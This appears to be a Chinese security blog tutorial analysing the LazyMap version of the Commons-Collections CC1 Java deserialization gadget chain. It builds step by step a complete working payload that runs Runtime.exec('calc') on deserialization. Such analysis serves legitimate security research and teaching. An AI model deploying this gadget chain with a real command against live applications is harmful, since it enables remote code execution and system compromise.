文章目录
- CC1链的第二种方式-LazyMap版调用链
- LazyMap
- 构造payload
- CC1的调用链
系列篇其他文章,推荐顺序观看~
- Java反序列化利用链篇 | JdbcRowSetImpl利用链分析
- Java反序列化利用链篇 | CC1链_全网最菜的分析思路【本系列文章的分析重点】
- Java反序列化利用链篇 | CC1链的第二种方式-LazyMap版调用链【本系列文章的分析重点】
- Java反序列化利用链篇 | URLDNS链
- Java反序列化利用链篇 | CC6链分析(通用版CC链)
- Java反序列化利用链篇 | CC3链分析、TemplatesImpl类中的调用链、TrAXFilter、InstantiateTransformer类的transform()【本系列文章的分析重点】
CC1链的第二种方式-LazyMap版调用链
CC1链的第一种方式可以参考另一篇文章:CC1链_全网最菜的分析思路
LazyMap
在之前的CC1链中分析,其实是其中一种方式(国内版本),还有另外一种方式,也是ysoserial中的CC1链的方式(国外版本)。
区别在于调用transform的类是不同的。
在寻找transform调用的时候,当时使用的是TransformedMap中的checkSetValue()方法。
其实在LazyMap的get()方法也满足需求,也能到达readObject()。
具体方法如下:
其中比较重要的代码是
Object value = factory.transform(key);
也就是我们如果能控制factory
的值为ChainedTransformer
,就可以实现命令执行。
factory
的赋值语句在LazpMap
的构造函数内部。
那又是谁调用了LazyMap的get()方法呢?
这里非常的不好找,因为调用太多了(找到的师傅牛~)。
在AnnotationInvocationHandler
类的invoke()方法中有调用:
而这个AnnotationInvocationHandler
类是一个动态代理类,特点之一就是调用该类的任意方法,都会调用器invoke()
方法。
所以如果调用AnnotationInvocationHandler
类的readObject()
方法,该类的invoke()
方法也会触发。
因此,整个的调用链也就出来了:
sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
构造payload
从LazyMap的get()方法中可以看到,通过factory.transform(key)
方式调用了transform()
所以根据CC1链的第一条,只需要控制factory
为chainedTransformer
即可。
而factory
是在LazyMap的构造函数中赋值:
而此构造函数不能直接调用,但是可以通过decorate()
方法获取到:
则可以得到如下不完整的payload:
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
其中调用lazyMap的get()方法,则会触发恶意代码,测试一下:
// 调用lazyMap的get()方法则会调用chainedTransformer的transformer()
lazyMap.get("key");
接下来想办法:如何调用到lazyMap的get()方法呢?
前面说在AnnotationInvocationHandler
类的invoke()
方法中有调用get()方法:
而这里的调用,是通过memberValues
来进行调用,我们需要保证memberValues
是lazyMap
,这样的话,执行该invoke()
方法时才会调用到lazyMap
的get()
方法。
而memberValues
是通过AnnotationInvocationHandler
的构造函数传入:
而AnnotationInvocationHandler
类不能实例化,需要借助反射,相关代码如下:
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
// AnnotationInvocationHandler类实现自InvocationHandler接口
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap); // 注意这里传入lazpMap,给memberValues赋值
那如何调用InvocationHandler ih
对象的invoke()
方法呢?
这里可以看到AnnotationInvocationHandler
类实现自InvocationHandler
接口,也就是说AnnotationInvocationHandler
类是一个动态代理的处理器类。
那么,想调用InvocationHandler ih
对象的invoke()
方法,只需要调用被代理对象的任意方法,则可以调用ih
对象的invoke()
。这里需要注意:直接调用被代理对象的任意方法不行,需要借助动态代理才可以调用到invoke()
,也就是说需要创建动态代理。
创建动态代理代码如下:
- 这里的动态代理对象,用来代理
LazyMap
实现的接口,处理器对象为ih
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih); // 将InvocationHandler ih传入
这样只需要调用LazyMap
对象的任意方法,就会调用ih
对象的invoke()
。
注意这里虽然调用任意方法,可以调用ih
对象的invoke()
,但是还得保证,调用invoke()
方法之后,能执行到Object result = memberValues.get(member);
,这样才能执行我们想要的lazyMap
的get()
方法。
我们可以看到:执行invoke方法之后,有一些条件需要绕过一下,否则就直接返回了,无法执行到memberValues.get(member)
总结下来就是:动态代理的执行方法(即被代理对象lazyMap的任意方法)不能是equals\toString\hashCode\annotationType方法,且不能存在参数。
那么,被代理对象lazyMap可执行的方法(看代理的接口Map的方法)还有下面几个:
测试一下是否可以执行恶意代码:
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), lazyMap.getClass().getInterfaces(), ih);
mapProxy.clear();
接下来,寻找谁调用了mapProxy
(被代理对象)的size()/isEmpty()/clear()/keySet()/values()/entrySet()
方法。
其实这里(在CC1链的第一条中也用过)刚好AnnotationInvocationHandler
的readObject
方法中存在 map对象的entrySet()
无参方法调用:
其中我们需要保证memberValues
变量为mapProxy
(被代理对象)即可,而且这里是在readObject
方法中,直接一步到位。
这里怎么办呢?
同样的,通过反射创建AnnotationInvocationHandler
对象,并将mapProxy
(被代理对象)传入,给memberValues
变量赋值即可:
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);
而这里的前面三行已经有了,所以此时的payload可以合并为:
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
// 通过decorate()方法获取到LazyMap对象,并将ChainedTransformer传入
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap); // 注意这里传入lazpMap,给memberValues赋值
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih); // 将InvocationHandler ih传入
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);
得到了一个对象obj
,对其序列化,反序列时会自动调用器readObject()方法,执行恶意代码。
则最终的payload为:
Transformer[] TransformerArray = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TransformerArray);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);
Map mapProxy = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);
Object obj = declaredConstructor.newInstance(Target.class, mapProxy);
SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");